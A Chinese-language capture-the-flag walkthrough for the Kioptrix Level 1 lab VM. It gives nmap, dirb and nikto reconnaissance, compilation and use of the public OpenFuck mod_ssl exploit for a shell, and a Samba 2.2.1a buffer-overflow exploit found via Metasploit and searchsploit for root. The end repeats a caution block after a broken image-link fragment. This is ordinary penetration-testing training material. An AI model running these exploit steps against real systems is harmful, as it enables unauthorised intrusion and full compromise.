Kioptrix Level 1靶机

Kioptrix Level 1靶机

一、信息搜集

1、主机探测

nmap -sP 192.168.189.142/24 -T5

扫描到靶机ip192.168.189.150

2、端口服务扫描

nmap -sS -sV -p- 192.168.189.150 -T5

开放了http服务，访问后没有什么可利用的信息，目录扫描到一些配置文件目录，没有什么有用信息

3、目录爆破

dirb http://192.168.189.148/

4、漏洞工具扫描

用nikto扫描可能的漏洞

nikto -h 192.168.189.150

发现了当前版本的mod_ssl可能存在缓冲区溢出导致的远程shell，我们就可以查找相应的exp了：采用2002-07-30这个版本

二、漏洞利用

1、源码编译

下载源码后编译，

gcc -o OpenFuck 47080.c -lcrypto -DOPENSSL_API_COMPAT=0x10100000L -lssl

编译时高版本gcc可能不兼容，需要加入参数向后兼容：-DOPENSSL_API_COMPAT=0x10100000L -lssl

运行攻击程序：

提示需要我们提供相应的参数，目标的版本，目标主机ip，端口，连接的数量

通过刚刚nmap扫描发现了，版本为Red-Hat Apache 1.3.20

筛选一下对应版本：

./OpenFuck | grep 1.3.20

0x6a 0x6b都符合版本要求，尝试后发现0x6b可以使用，我们直接攻击：

./OpenFuck 0x6b 192.168.189.150 -c 50

成功拿到shell：

三、权限提升

尝试内核提权但是没有成功

我们用msf对Samba套件进行版本扫描：

msfconsole
search smb_version

use 0
set RHOST 192.168.189.150
run

检测到samba版本为2.2.1a

searchsploit samba 2.2.1

使用编号10的exp:

searchsploit -m 10
gcc -o kill 10.c
./kill -b 0 192.168.189.150

提权成功！

[!CAUTION]

1、nmap扫描不出samba的版本，要用msf的smb_version 才能扫描出

957475179)][外链图片转存中…(img-TLYBh0sR-1739957475179)]

提权成功！

[!CAUTION]

1、nmap扫描不出samba的版本，要用msf的smb_version 才能扫描出

2、前期各种方法拿到的shell大多都是兔子洞没法提权，真正提权是利用Samba的缓冲区溢出